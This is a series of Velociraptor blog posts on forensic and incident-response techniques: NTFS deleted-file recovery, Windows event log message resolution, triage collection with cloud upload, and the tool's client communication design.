In this exercise we already know the name of the file we are after is secret.txt so we do not really need a complete dump of the entire MFT — we only want all the MFT entries with the filename containing the word “secret”. We can therefore customize the artifact by adding a VQL WHERE clause after the query to only send interesting rows to the server. We will add a new parameter FullPathRegex allowing the user to customize the filtering terms in the future (for example search for deletions in the Tasks directory).

Now we can collect the customized artifact specifying that only rows matching “secret” will be retrieved.

The result is similar to the full dump above but now only 5 rows are returned from the endpoint. This is much faster than getting all 130mb CSV file and post processing it (Collection time is less than 1 minute now). By refining the artifact we have made Velociraptor more surgical in its approach — only returning the data we really want

We can see in the above that the file is deleted (InUse is false) and its EntryNumber is 86474. We can use this to try and recover the file’s data by collecting the Windows.NTFS.Recover artifact for this MFT entry

The Windows.NTFS.Recover simply uploads to the server all NTFS streams belonging to the MFT entry specified. We can see both $FILE_NAME attributes (long and short names) and the $DATA attribute.

Since the file is deleted, the MFT Entry is not allocated and a new file may be written in this MFT entry at any time. Therefore the contents of the $DATA stream may be completely unrelated to the file we are looking for. We can use the content of the $FILE_NAME and $STANDARD_INFORMATION to double check the validity of the file and confirm it is the file we expect.

To view the file we simple prepare a download as before and use an archiving tool to open the ZIP file. We then extract the $DATA stream and confirm it is the file we expected.

Conclusions

Velociraptor provides access to low level NTFS analysis techniques within VQL. This means we can build VQL artifacts to automate some of the low level analysis — such as the recovery of deleted files, and scanning the MFT for remnants of old deleted files.

There are two pieces of information we can gather from such low level analysis:

The deleted file metadata is found in the unallocated MFT entry and includes the file’s creation and modification timestamps.
The data of the file may still exist on disk.

In practice, MFT entries are reused pretty quickly and so there is a high chance that the old deleted entry will not remain. Additionally $DATA blocks may also be reused so it is likely that even if we identify a deleted file we may not be able to recover its data using this technique.

So in practice, we use the Windows.NTFS.MFT artifact to collect metadata about deleted files, even though we are usually not able to recover their data.

If the system has an SSD rather than a spinning disk we are unlikely to recover any deleted file’s data. This is because SSDs aggressively reclaim unused blocks and wipe the block so it can be remapped in the wear leveling pool [see here].

Do you commonly use this technique in your investigations? Share your thoughts below.

Windows Event Logs

Tue, 12 Nov 2019 10:40:24 +0000

By Mike Cohen

One of the most critical sources of data when responding to an incident on windows systems is the event logs. Windows event logs record security significant events.

However, unlike more traditional Unix syslogs, the Windows Event Log system is more complex and there are a number of potential problems that an investigator can run into.

In this post we explore the windows event log system from the point of view of the investigator. We then see how tools such as Velociraptor can be used to work around its limitations.

Responding to an incident

Consider an incident occurred on one of your systems. You would like to investigate it and so collect all the event log files from C:\Windows\System32\WinEVT\Logs\*.evtx.

The logs are stored in binary format so you will need to post process the files. Luckily there are a number of tools out there that will do that for you. Here is a typical output from the dumpevtx tool for a particular event from the Security.evtx log file:

C:> dumpevtx.exe parse c:\Windows\System32\winevt\Logs\Security.evtx
{
  "System": {
   "Provider": {
    "Name": "Microsoft-Windows-Security-Auditing",
    "Guid": "54849625-5478-4994-A5BA-3E3B0328C30D"
   },
   "EventID": {
    "Value": 4672
   },
   "Version": 0,
   "Level": 0,
   "Task": 12548,
   "Opcode": 0,
   "Keywords": 9232379236109516800,
   "TimeCreated": {
    "SystemTime": 1561729832.644008
   },
   "EventRecordID": 35,
   "Correlation": {
    "ActivityID": "6EF16E1E-2DB8-0001-DA6F-F16EB82DD501"
   },
   "Execution": {
    "ProcessID": 612,
    "ThreadID": 656
   },
   "Channel": "Security",
   "Computer": "DESKTOP-6CBJ8MJ",
   "Security": {}
  },
  "EventData": {
   "SubjectUserSid": "S-1-5-90-0-1",
   "SubjectUserName": "DWM-1",
   "SubjectDomainName": "Window Manager",
   "SubjectLogonId": 67602,
   "PrivilegeList": "SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeAuditPrivilege"
  }
 }

This event looks interesting but it is not quite clear what it is really talking about. We see some potentially useful items like SubjectUserSid and PrivilegeList but we are missing some critical context around this message.

Lets look at the same event with the windows Event Viewer GUI:

This is much better! We now know the message indicates the user was assigned some special privileges.

Where does this message come from and why is it not shown by typical EVTX parsers?

It turns out that the message of the event is not actually stored in the EVTX file at all — it is actually stored in a DLL and it is bound to the event in the log via some complicated algorithm.

Event Messages

Windows event logs do not store the full event message. Instead an Event Provider registers a message DLL that contains the full message. The event itself simply stores the index of the message in the Message Table as the Event ID. Note that event IDs are just a number into an event table and are commonly reused by different providers. It is the unique combination of channel, provider and Event ID that identifies the message (so for example searching for Event Id 1000 yields many different unrelated messages because many providers reuse that event ID).

The figure below illustrates how the Windows Event Viewer is able to print the proper Event Message:

How the Windows Event Viewer displays event log messages

When a user selects an event in the Event Viewer, the application reads the Provider, EventID and EventData fields from the event itself — in the above example, the Provider was Microsoft-Windows-Security-Auditing, EventID was 4672 and the EventData has items such as SubjectUserSid etc.

Next the event viewer consults the registry at the key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security\Microsoft-Windows-Security-Auditing and reads the value EventMessageFile.

That value is the location of a dll which contains the messages for this provider. On my system, the DLL is located at %SystemRoot%\\system32\\adtschema.dll (Note that many DLLs use localizations and so the dll could be located in MUI files).

The DLL has a resource section with a MESSAGE_TABLE type. The event viewer then uses this to extract the message which looks like:

Special privileges assigned to new logon.%n%nSubject:%n%tSecurity ID:%t%t%1%n%tAccount Name:%t%t%2%n%tAccount Domain:%t%t%3%n%tLogon ID:%t%t%4%n%nPrivileges:%t%t%5

The event viewer then interpolates the EventData items into the message by their position — for example %1 is replaced with SubjectUserSid etc. Additionally %t is a tab and %n is a new line.

What could go wrong?

The previous section examined how event logs are actually stored on the system. In practice there are a number of pitfalls with this scheme:

If an EVTX file is taken from one system to another, the relevant DLL may not be present. This is more common with bespoke software that is not commonly used. In this case the investigator has no idea what the message the event is trying to convey.
If software is uninstalled from the system, the message DLL may be removed. This makes it hard to view events in the event log from the time it was installed (in a sense information is wiped from the event log).

In both of these cases, the investigator will need to figure out the correct event message independently. Luckily in the age of the internet there are many web sites that catalog some of the common event ids and what they mean:

But it is simply not practical to search every event id. For less commonly used providers the event ids may not be indexed on the web at all. In this case the investigator is left with no idea what a specific event entry means and might miss some critical evidence

Velociraptor’s parse_evtx() VQL plugin

In the latest Velociraptor release (0.3.6), the parse_evtx() plugin is now including the event messages directly in the VQL output. This automatically enriches the event log data collected by the Velociraptor host visibility tool.

Velociraptor can interpolate and attach the event message to every log message it relays

In the above we see the result of the simple VQL query:

SELECT * FROM parse_evtx(filename='c:/Windows/System32/Winevt/logs/Security.evtx')

You can see an additional field now, called Message containing the event message with the Event Data interpolated into it. This provides a lot of context around what the event is supposed to do.

What about existing EVTX files?

In the last section we saw how Velociraptor can enrich event logs as it is forwarding them to the server but what if we have just the evtx files — possibly we just acquired the files using bulk upload artifacts such as the Windows.KapeFiles.Targets artifact?

In that case our analysis machine may not actually have the correct message dlls installed and Velociraptor may fail to retrieve the event messages.

We need a way to maintain a library of event id’s for different providers and the messages they represent. This way we can instantly look up the correct message on demand — without needing to have DLLs installed.

Velocidex, the company behind Velociraptor is an innovative software company crafting many free and open source digital forensics tools. In fact Velociraptor’s EVTX parsing is implemented by the Velocidex/evtx project on GitHub. You should check it out!

The project releases a stand along command line tool for parsing and examining windows event log format. In this post, I would like to demonstrate the latest “extract” feature:

The extract command walks all providers in the registry, gathers their message DLLs and parses the message table resource for each. Then, all the messages are stored in a sqlite database. Sqlite being the de facto standard for portable databases can be easily consumed by other tools written in many languages. The total size of the database is modest (I have extracted all event log messages on Windows 2019 server to about 23MB SQLite file).

Now we can easily use the database to resolve our provider and event id to a message:

Alternatively we can simply use SQLite directly to query the database

$ sqlite3 mydb.sqlite
SQLite version 3.24.0 2018-06-04 19:24:41
Enter ".help" for usage hints.
sqlite> **SELECT message FROM providers join messages on providers.id = messages.provider\_id where providers.name = 'Microsoft-Windows-Security-Auditing' and messages.event\_id = 4672;**
_Special privileges assigned to new logon.%n%nSubject:%n%tSecurity ID:%t%t%1%n%tAccount Name:%t%t%2%n%tAccount Domain:%t%t%3%n%tLogon ID:%t%t%4%n%nPrivileges:%t%t%5_

Enriching old event log files

We have shown how dumpevtx can use our sqlite database to retrieve the messages for each event id individually but this leaves us to interpolate the full data by hand — no fun indeed!

You can also use dumpevtx to export the events into JSON, and automatically resolve event IDs with the sqlite database too by providing the database with the --messagedb flag.

F:\\>dumpevtx.exe parse --messagedb mydb.sqlite c:\\Windows\\System32\\winevt\\Logs\\Security.evtx

Parsing the EVTX file with the assistance of the event id database. The message interpolates the Event Data into it.

Conclusions

The Windows Event Log system is fairly complex — it is not enough to just copy out the *.evtx files because the information content of the log is spread throughout the filesystem in DLLs and registry keys. For many event types there is enough context in the EventData or UserData fields of the event log but in many cases, without the actual message corresponding to the event ID we lose critical meaning.

It is essential therefore to include the original message for each event log. We have shown how Velociraptor is able to include this critical information automatically. We also present the dumpevtx project which allows collecting messages in a database so events can be matched up quickly and easily with their correct messages without requiring the original program that generated the message to be installed on the analyst system.

Triage with Velociraptor — Pt 3

Tue, 08 Oct 2019 09:03:34 +0000

By Mike Cohen

This is the final part of this three part series of articles describing how to use Velociraptor to collect files from an endpoint. Our first part shows how we can use the Velociraptor agent in a typical client/server setting to collect artifacts from one or many endpoints at the push of a button, within seconds.

Part two examined what to do if Velociraptor is not already installed as an agent (or can not be remotely installed). In this case we used an accomplice user with administrator privileges (or group policy) on the endpoint to run the collector interactively — producing a zip file with the triage material within it. We left the task of transporting the file back to the investigator up to the user though. Ideally we would like to have an automated way in which the files can be transported back to us.

This article continues this theme: we devise a way for the collected file to be uploaded to a cloud storage bucket. We will write a new Velociraptor artifact with this functionality, leveraging the previously described collection artifact. It is a good example of how we may customize artifact collection in a flexible way adding arbitrary functionality to Velociraptor as we go along.

Setting up Google Cloud Bucket for uploading.

Before we can upload files to a bucket we need to have a project in place. For this example I created a new project called “velociraptor-demo”:

Create a new project

Our plan is to distribute to our accomplices the packed binary as before, but this time we want Velociraptor to automatically upload results for us into our bucket.

In order to do this we need a service account with credentials allowing it to upload to our bucket. Go to IAM & Admin / Service Accounts / Create Service Account:

Since the service account will be able to upload by itself (i.e. the user does not authenticate on its behalf), we need to identify it with a JSON key. The key allows Velociraptor to act as the service account on this cloud project. Clicking the Create button will download a JSON file to your system with the private key in it.

Note the service account’s email address. Currently this account has no permissions at all — but we will allow it to write objects into our upload bucket later.

Next we create a bucket to store our collected zip files I will call it “velociraptor-uploads-121”:

Selecting the “Permissions” tab, we are able to add the service account as a member — we will only give it the ability to write on a bucket and create new objects. This is important since is means that the service account is unable to read or list objects in this bucket. Since we will embed the service account key in our config file we need to make sure it can not be misused to compromise collections from other machines.

Creating and embedding a custom artifact

Now we are ready to create our custom artifact. Our artifact will first collect the KapeFiles targets we require into a locally written zip file, and then using the above credentials, upload the zip file to the cloud. Finally we will delete the temporary file from the endpoint. As an added measure of security we specify a password on the collected zip file.

autoexec:
  # These parameters are run when the binary is started without args.
  # It will just collect our custom artifact and quit.
  argv: ["artifacts", "collect", "-v", "AcquireAndUploadToGCS"]
  artifact_definitions:
    - name: AcquireAndUploadToGCS
      parameters:
         - name: GCSKey
           description: JSON Blob you get from GCS when you create a service account.
           default: |
              {
               "type": "service_account",
               "project_id": "velociraptor-demo",
               "private_key_id": "XXXXXXX",
               "private_key": "XXXXXXX",
               "client_email": "uploader@velociraptor-demo.iam.gserviceaccount.com",
               "client_id": "XXXXXX",
               "auth_uri": "https://accounts.google.com/o/oauth2/auth",
               "token_uri": "https://oauth2.googleapis.com/token",
               "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
               "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/uploader%40velociraptor-demo.iam.gserviceaccount.com"
              }
         - name: bucket
           default: velociraptor-uploads-121
         - name: project
           default: velociraptor-demo

      sources:
         - queries:
              # This collects the WebBrowsers target from KapeFiles into
              # a tempfile, then uploads the tempfile to GCS with the
              # above credentials.
              - SELECT upload_gcs(
                   file=Container,
                   bucket=bucket,
                   project=project,
                   name=format(format="Collection %s.zip", args=[timestamp(epoch=now())]),
                   credentials=GCSKey) AS Uploaded
                FROM collect(
                   artifacts="Windows.KapeFiles.Targets",
                   args=dict(WebBrowsers="Y"),
                   password="MyPassword",   // Use this password to encrypt the zip file.
                   output=tempfile( extension=".zip"))

The above artifact is fairly easy to read:

Using the collect() plugin we are able to collect one or more artifacts into a local zip file. We use the tempfile() function to provide a local filename for us to write on. Note that Velociraptor will clean the temp file at the end of the query automatically. We can also specify a password for encrypting the collection zip file.
The collect() plugin returns a single row with the name of the container (i.e. the Zip file we write on). We then call the upload_gcs() function on this file name to upload this file to GCS. We use the credentials we obtained earlier, bucket and project names and finally we rename the uploaded file according to the timestamp.

Next we simply embed this configuration file in the binary as we did in part 2:

F:> velociraptor.exe config repack config.yaml my_velo.exe

We can send this file to our accomplice and have them run it as an administrator to simply collect everything and upload to the cloud automatically. Alternatively we can push this binary out via Group Policy Scheduled tasks as well, or even via another EDR tool — it really does not matter how we get the code executing on the endpoint.

The below screenshot shows the debug log from running the collector. We can see the container finalized, then uploaded to GCS with its hashes calculated. When Velociraptor uploads the container to GCS, Google’s server calculate the md5 and return it together with other object attributes. Velociraptor then compares this hash to the one it calculated before to ensure the file landed properly on the cloud bucket.

Finally, then the temp file is removed and the query is complete.

Conclusions

This concludes our three part series about triaging with Velociraptor. Triaging is about collecting files quickly in order to preserve as much of the volatile machine state as possible, then quickly analyze the data for evidence of compromise.

Although Velociraptor is normally installed as a client/server so it is always available on the endpoint, it does not have to be used in this way. The key strength of Velociraptor is its flexibility and ability to adapt to any situation through the use of the powerful Velociraptor Query Language (VQL).

Users who feel comfortable writing their own VQL can adapt Velociraptor easily to evolving situations and collect new artifacts quickly. Check out the official VQL reference, Download the latest version of Velociraptor from GitHub and join the community of power users.

Triage with Velociraptor — Pt 2

Fri, 04 Oct 2019 23:50:52 +0000

By Mike Cohen

In the previous part of this series of articles we saw how Velociraptor can be used to automatically collect and preserve files from a remote system. This is great if you have Velociraptor installed as an agent on the endpoint — but what if you (or your customer) does not?

Interactive collection

Velociraptor is essentially a query engine. All its operations are controlled by VQL queries normally encapsulated in a YAML files called artifacts. As such it does not really need a server to operate. It is possible to collect those same artifacts interactively on the command line (In this example we collect the KapeFiles artifact as we did in the last part but you can collect any Velociraptor artifact this way):

F:> velociraptor.exe -v artifacts collect Windows.KapeFiles.Targets --output test.zip --args RegistryHives=Y

Invoking Velociraptor with the artifacts collect command specifies that we should collect the artifact interactively. If we also specify the “ —-output ” flag we will collect the result into the zip file. We can then specify any argument to the artifact using the “—-args” flag (which may be specified more than once). If you can not remember which args the artifact takes then simple provide and incorrect arg for Velociraptor to tell you.

The example above simply collects all registry hives on the system (Registry hives are typically locked but Velociraptor uses raw NTFS parsing to extract the files from the filesystem — thus bypassing all locks).

Help someone else collect files

Sometimes in our DFIR work we need to rely on other’s help — sometimes a system administrator or even an end user with limited command line skills. It is unreasonable to expect all our helpers to be able to type the above command line. We need to make it as easy as possible for our accomplices.

Velociraptor features a method for packing a configuration file within the binary itself. We can use this feature to have Velociraptor automatically execute the correct artifact collection when started without any parameters (or double clicked).

Simply create a configuration file with an autoexec field containing all the command line args (let’s call it myconfig.yaml ):

autoexec:
  argv: \["artifacts", "collect", "-v", "Windows.KapeFiles.Targets",
         "--output", "collection\_$COMPUTERNAME.zip",
         "--args", "WebBrowsers=Y",
         "--args", "\_BasicCollection=Y",
         "--args", "WBEM=Y",
         "--args", "WER=Y",
         "--args", "WindowsDefender=Y",
         "--args", "TrendMicro=Y",
         "--args", "TeamViewerLogs=Y",
         "--args", "WebBrowsers=Y",
         "--args", "MOF=Y",
         "--args", "VSSAnalysis=Y"\]

Note that this config file invokes Velociraptor with a list of KapeFiles targets and instructs the result to be saved to a zip file named after the computer name.

Next we simply repack the binary — this effectively copies the config file inside the binary so when the new binary restarts, it automatically loads this config file (and therefore runs the instructions above):

F:> velociraptor.exe config repack myconfig.yaml my\_velo.exe

This will produce a new binary with our config embedded in it. Now when this binary is run it will immediately begin to collect the targets listed. Note that the collector needs to run as an administrator so typically the user will need to right click, select “Run As Administrator” and click through the UAC dialog:

When complete Velociraptor will leave behind the zip file with all the files in it — ready for sharing with the investigator.

Uploading the collection

All we need to do now is send our trusted user the repacked binary and instruct them to right click on it and run as administrator. The collected zip file can be large (several Gb) and the user would need to somehow transport the file to us. One way is for us to set up a public writable share and have the file written automatically via a UNC path. This method only works when users are on the corporate LAN and have access to the domain and the file share. Otherwise the user may upload the file manually for us.

In the next part we will see how to write the collected zip file to a cloud server instead so they can automatically upload the collected files from any internet connected network.

Triage with Velociraptor — Pt 1

Wed, 02 Oct 2019 13:32:39 +0000

By Mike Cohen

This is part 1 of the 3 part series focused around triaging and file collection.

Traditionally digital forensic practitioners and incident responders collected disk images to retain evidence in cases of compromise. However in recent times, the size of investigations and the short time frames required, started a trend of more selective evidence collection. Instead of collecting the entire disk, responders now prefer to collect only critical files allowing more rapid triage.

However, which files should we collect? Knowing which files to collect and what to do with them was previously reserved for DFIR experts. These days, we have some excellent public resources for this. The best resource for windows systems is probably the KapeFiles repository. This is a public repository maintaining a set of Kape configuration files. Kape is an excellent tool geared at file collection — simply acquiring various files of interest from a system for triage purposes.

Although Kape itself is not open source, the KapeFiles repository is a community project available under the MIT license. It therefore seemed like a perfect way to leverage the specialist DFIR knowledge from the community and develop a useful Velociraptor artifact based on this knowledge.

This article outlines this new artifact and how it can be used to collect triaged files quickly and efficiently.

The KapeFiles repository

Kape parses a set of Target files (with .tkape extension). These files essentially specify a set of file globs (i.e. paths with wild cards) specifying files to collect. Kape also supports targets referring to other targets thereby expressing higher level targets in terms of lower level targets. For example selecting the WebBrowsers.tkape target, will include all glob expressions specified in Chrome.tkape, FileFox,tkape etc.

When using Kape to collect files, the user specifies one or more Targets which are then collected into a directory, or some container (e.g. Zip file).

Previous versions of velociraptor added several VQL artifact definitions based on the KapeFiles repository, but these were hand written and difficult to maintain in sync with the public contributions to the KapeFiles repository.

Since release 0.3.4, Velociraptor has a script that automatically parses out Kape target files and generates a Velociraptor artifact with the same targets and globs — thereby creating a functionally equivalent artifact to the KapeFiles repository.

Collecting files from the endpoint

To collect files, simply select the Windows.KapeFiles.Targets artifact from the Collected Artifacts screen in the GUI. After adding the artifact to our collection (by clicking Add) we see a list of targets with check boxes next to them. Each target may invoke several rules (and therefore collect different files), but the dependencies are listed next to the target.

Selecting the Windows.KapeFiles.Targets artifact for collection on an endpoint.

Selecting one or more targets will collect those files from the endpoint to the Velociraptor server. Once the files are fully collected to the server, you can download them as a zip file on demand by clicking the “Prepare Download” button.

When the collection is complete, we can click the “Prepare Download” button which will prepare a Zip file on the server for us to download.

Triaging a system

What can we use this for? Suppose you suspect a compromise. It is imperative to preserve as much of the evidence as possible, as quickly as possible.

Running the Kape target BasicCollection will collect a lot of interesting files, including the $MFT, event logs, prefetch, amcache among many other files. This helps us to preserve as much of the state of the system as we think will be relevant for our investigation in future.

Depending on the total amount of data collected we may also issue this collection on one or more machines. Triaging will capture and preserve the evidence. We can then parse it with other tools externally and just keep the snapshot.

What if Velociraptor is not installed on our endpoints?

If Velociraptor is not installed on the endpoint, we have a number of options:

Install it using group policy
Temporarily run it using group policy scheduled tasks (so called Agentless mode)
Interactively collect triaging files by running in interactive mode.

The next part of this series will discuss how to interactively collect triage files while physically (or remotely) logging into the machine.

Velociraptor’s client side buffer

Wed, 11 Sep 2019 00:31:39 +0000

By Mike Cohen

The recent Velociraptor release (0.3.3) features a client side buffer. What does this do and how does it change Velociraptor’s approach to incident response?

What is a local buffer?

The Velociraptor client is really just a (Velociraptor Query Language) VQL execution engine. When collecting an artifact, the client running on the endpoint, simply executes the VQL and streams rows from the query to the server as they occur.

Previously the client would attempt to upload the rows periodically to the server, and while this upload was taking place, the VQL query was paused. If the server was unavailable (for example if the endpoint was not on the internet), the VQL query simply paused until the rows could be sent.

In the recent 0.3.3 release we introduced a local file buffer between the execution engine and the server communication thread. Now the Velociraptor client’s VQL engine operates independently of the communication thread, and is not paused if the server is not reachable. This is illustrated in the diagram below:

By default the file on disk is allowed to grow to 1GB in size, but usually it is truncated to zero bytes if the client is online and communicating with the server.

What does a buffer file allows us to do?

Using a file on disk allows us to run the VQL query as quickly as possible. For example, some artifacts require collection of many files. Since network traffic is typically much slower than disk activity, previously we were only able to collect data at the speed at which we could send it on the network. An artifact collection could take quite some hours if there was a lot of data to upload and a slow network link.

With the new system we are allowed to buffer up to 1GB of data (which also includes uploaded files) before we have to pause the query. This allows many artifacts to completely finished — even if the client is not online. Later when then client resumes connection with the server, that data can be uploaded over time — even if the network is very slow.

Event Monitoring queries

One of the differences between Velociraptor and other tools is that VQL queries allow us to build a complete monitoring and response framework.

Typically EDR tools deploy sensors which collect data and feed it to a back-end system. Processes on the back-end system detect anomalous activity and respond to this either by gather more information or alerting. This long latency round trip between detection and response delays the response activity and is only possible when the client is connected and online.

With the recent Velociraptor release, we can deploy monitoring VQL artifacts which simply watch the endpoint for certain events. These events can then be automatically acted upon — typically to implement response actions (e.g. kill a bad process) or to enrich the event information collected (e.g. acquire extra hashes or the binaries of suspicious files).

Because the file buffer allows the VQL engine to operate even when the client is not online, VQL event monitoring queries are not interrupted and continue to work autonomously without involvement from the server.

Example: Office macros on thumb drive

An example of an event monitoring artifact is the Windows.Detection.Thumbdrives.List artifact. This artifact watches for any newly inserted USB thumb drive and simply lists the files on it. In some environments it is interesting to see any newly added files on a USB removable drive.

The Windows.Detection.Thumbdrives.List artifact watches for newly added removable drives and reports new files added to them.

Previously, when a thumb drive was added, Velociraptor sent the file listing to the server immediately. However, if the endpoint was offline, this data blocked further monitoring by the query.

Starting with the 0.3.3 release, Velociraptor will now queue the messages in its local file buffer immediately, and transfer the data to the server when it can — even if it is currently not on the internet or online. The messages will simply be forwarded to the server at a later time.

Conclusions

This feature allows Velociraptor to monitor the end point without being connected to the server at all. In effect this implements a response plan: The endpoint is given a plan of what to do in the case certain events occur (in the form of monitoring VQL queries) and can implement this plan autonomously without needing to contact the server.

Velociraptor's client communications

Tue, 03 Sep 2019 04:10:06 +0000

How does the GRR client communicate?

The GRR client protocol is depicted below.

Due to network realities such as NAT, firewalls etc, it is not possible to directly connect to the client, so GRR relies on the client connecting to the server in order to communicate with it.

The GRR client makes periodic POST requests to the server to both send replies and receive new instructions. Since POST requests are very short lived (most client polls carry no data) the client has to repeat the polls periodically.

There are two parameters which determine how the GRR client behaves -poll_max and poll_min. When there is some requests sent to the client, the client will reduce its poll wait time to poll_min (default 0.2 seconds). When nothing happens, the client will increase its poll time gradually up to poll_max (default 10 minutes).

Having long poll times means that any new flows launched on an idle client must wait for up to 10 minutes before the client polls again in order to send the new requests to the client. Unfortunately reducing the poll_max setting actually increases server load, as the server needs to hit the database more often to serve each poll. This scheme essentially poses a trade off - for a responsive client, we must have a low poll_max (i.e. more frequent polls) but this increases the load on the frontend so it can not be too low.

When GRR is normally deployed it produces 2 types of clients on the web interface: the debug client has max_poll set to 5 seconds making testing easier because it is more responsive, but the non-debug version has max_poll set to 10 minutes. For example at Velocidex, one of our clients had once accidentally deployed the debug version and the server was slammed with 5 second polls from several thousand clients! This rendered the server useless, returning HTTP 500 status codes for most client polls. The only way to recover was to push new config to the clients and restart their GRR service in order to lower the poll frequency and recover control over the deployment.

Catastrophic failure under load

The other problem with GRR's client communication protocol is that it tends to exhibit catastrophic failure under load. When the client makes a HTTP POST operation, the server goes through the following steps in order:

Unpack and decrypts any replies the client sends in its POST message
Queue these replies on a worker queue
Read the client's job queue for any outstanding requests to the client.
Pack and encrypt these requests to the client.
Write them as the body response of the HTTP POST with hopefully a 200 HTTP status.

In previous posts we have seen that GRR's overuse of queuing leads to extreme loads on the database, so under load (e.g. when a large hunt is taking place), the above process may take some time until the server can obtain a lock on the database row, write and read the messages, and compose its response.

What tends to happen under load, is that the client will time the request out if the server takes too long, or the server itself may timeout the request with a HTTP 500 code. The client, thinking it has not got through will try to POST the same data again (this time it will wait longer though).

This essentially makes things worse, because the replies are probably already mostly queued so the next retry will re-queue the same requests (these will be discarded by the worker anyway but they are still queued), increasing database pressure and server load. This manifests in a critical meltdown of the frontends who pretty soon serve mostly 500 errors (making things worse again).

This is the reason why resource provision is so important with GRR, if the frontends are just too slow to be able to keep up, the connections will start to timeout, and load increases (rather than decreases) causing a catastrophic failure.

How can we fix this?

The main problem with a polling scheme is that the user experience is terrible - even if we reduce the poll wait times to few seconds, users will have to wait to view the results of their actions - leading to an overall experience of a slow and sluggish system. For a responsive user interface we need to have client round trips of a second or less and having poll_max set this low will just use up too many resources. This is particularly noticeable in the VFS browser since it takes so long to navigate to the desired directory and download files interactively.

Other endpoint monitoring systems use distributed pub/sub systems like RabbitMQ or Firebase realtime database to inform the clients of new requests. In those systems, the client makes a TCP connection to an endpoint and holds the connection open for long periods of time, the server can then immediately push new requests to the client as soon as they are published. This seems like the way to go but we did not want to introduce another dependency on Velociraptor (we really like it being a self contained - working out of the box binary).

In particular we also wanted to solve the catastrophic failure we saw with GRR clients under load (described above). This means that we need to make sure that the clients are not sending data faster than the server can process it. We definitely want to avoid the POST timing out with a 500 error and the client retrying the same POST since this is the main cause for the catastrophic failures we experienced with GRR.

We can do this by keeping the client's connection open for as long as we need, but in order to not time it out, we send the HTTP status code immediately, then process the POST data, while sending the client keepalive data periodically using HTTP chunked transfer encoding.

To the client, and any proxies in the way, it simply looks like the POST request was received immediately, and the response body is downloaded slowly (there is always some pad data flowing so none of the TCP or HTTP timers are triggered since the connection is always active). This is illustrated in the diagram below.

This scheme has the two main advantages:

By returning a 200 status to the client before we begin processing, the client knows we received the data. They are then able to de-queue these messages and will not transmit them again.
By keeping the client connected while the server is processing the request we avoid any additional data from being sent to the server while it is busy. The client will be blocked on the HTTP connection and will actually pause its running VQL query while the server is processing the current responses. This mechanism actually throttles the clients to allow the server to keep up.

Making the client more responsive

We really wanted to make clients more responsive. We were frankly sick of having to wait up to 10 minutes to access a client that we knew was online in our IR work. To make the client more responsive we wanted to use the same technique to keep the client connection open for long periods of time, and then send instructions to the client as soon as the user issues a new flow.

In the GRR scheme new requests are sent on the same connections as client replies are received. This won't work if the client connection is held open for long periods of time because while the client is blocked reading new responses from the server, it can not send any replies (the POST header was already sent).

To fix this we switched to two separate POST connections on two server handlers, a reader handler and a writer handler. The writer handler only receives messages from the client to the server (i.e. replies to client requests), while the reader handler blocks the client for prolonged time and sends client requests as soon as new flows are launched.

This scheme allows a full duplex, responsive communication protocol, with no polling overheads. This can be seen in the diagram below.

The client establishes the reader channel by sending a HTTP POST request to the reader handler. The server checks for any messages for the client, and sees that there are none pending. It will then keep the client's connection open as before, trickle sending pad data (using HTTP chunked transfer encoding) to keep the connection open for as long as possible.

When the user launches a new flow, the server can immediately forward the client's requests on the open channel, completing the POST operation. The client will then process the requests and send the responses with a separate HTTP POST to the writer channel. In the meantime the reader channel will re-POST to the reader handler and become blocked and ready for the next request.

This scheme has the following advantages:

The user's flow is executed instantly by the client. This makes for example, the VFS browser instant - as soon as the user clicks the "refresh directory listing" button, the directory is refreshed. As soon as the user wants to view a file, the file is downloaded etc.
There is hardly any polling activity. The clients open a reader connection once and hold it for many minutes. The server need only check the queue at the beginning of the connection and then only if it knows there is a new flow launched for this client. This means server load is really low.

However, the scheme also has some disadvantages:

TCP connections are held for long periods of time tying up server resources. In particular the open sockets count towards the process's open file descriptor limit. It is typically necessary to increase this limit (by default it is 1024 which is very low).
Deploying over multiple servers is a bit more complex because a client may be blocked on one server and the flow is launched on another server. Velociraptor now has a notification API to allow inter server RPCs to propagate notifications between servers.

We believe that these limitations can be easily managed. They are no different from typical limitations of large scale pub/sub systems (they too need to hold many TCP connections open). In our testing we have not seen a problem scaling to many thousands of connected clients with very low resource use.

Velociraptor now also has a pool client that allows spinning up several thousand clients at the same time. This helps with testing a deployment to make sure it can handle the increased open file limit and test how large scale hunts can be handled.

Conclusions

The new responsive client communications protocol allows for near instantaneous access to clients. This actually reduces the overall load on the system because we do not need to perform frequent client polls just to check if a new flow is launched. User experience is much better as users can interact with clients immediately.

The Velociraptor API and FUSE

Mon, 26 Aug 2019 00:00:00 +0000

This page is written about a very old version of Velociraptor and is retained for historical purposes. Currently the fuse feature was removed.

The Velociraptor GUI is very useful, but for the power user, the Velociraptor API provides a powerful mechanism to integrate and automate. We previously discussed how the Velociraptor API can be used by external programs. This post explore a sample program that uses the API and presents a client’s VFS as a FUSE directory.

This allows us to navigate the remote end point’s file system as if it was mounted locally - we can list directories or fetch files, or even open remote files using third party programs. All the while, these actions are fully audited on the server and the collected files are stored in Velociraptor’s file store for archiving and evidence preservation.

Overview

Consider an analyst investigating an end point. The analyst has some third party tools on their workstation which they would like to use on files obtained from the end point.

Filesystem in Userspace (FUSE) is a way of creating the illusion of a real filesystem using software. When various programs on the computer requests filesystem operations, such as listing files in a directory or reading a file, Velociraptor takes over and emulates these requests.

Velociraptor’s built in FUSE program emulates a filesystem by exporting a client’s cached VFS on the server to the FUSE layer. If the analyst attempts to list a directory that the server has no cache of - the server will issue a new directory listing request from the endpoint. If the endpoint is currently online, the updated directory listing will be returned to the server, and in turn relayed to the analyst’s workstation.

The overall effect is that as the analyst navigates around the FUSE filesystem on their workstation, they are issuing collection requests from the endpoint, and reading their responses in such as way that it appears the endpoint is really mounted on the FUSE filesystem.

![Image](../Fuse overview.png)

The above figure shows all the components and how they are related. Assume the FUSE filesystem is mounted on drive Q: in the analyst’s workstation:

Suppose the analyst is navigating the file Q:\file\ using Windows Explorer.
Velociraptor’s FUSE program running on the analyst workstation will issue an API request to list the file directory within the client’s VFS on the server.
If the server has a locally cached version of this VFS directory in its data store it will return it immediately.
However, if no server side cache exists, the FUSE program will issue a directory listing request to the endpoint.
The endpoint will respond to this and return the directory listing (if it is currently online).
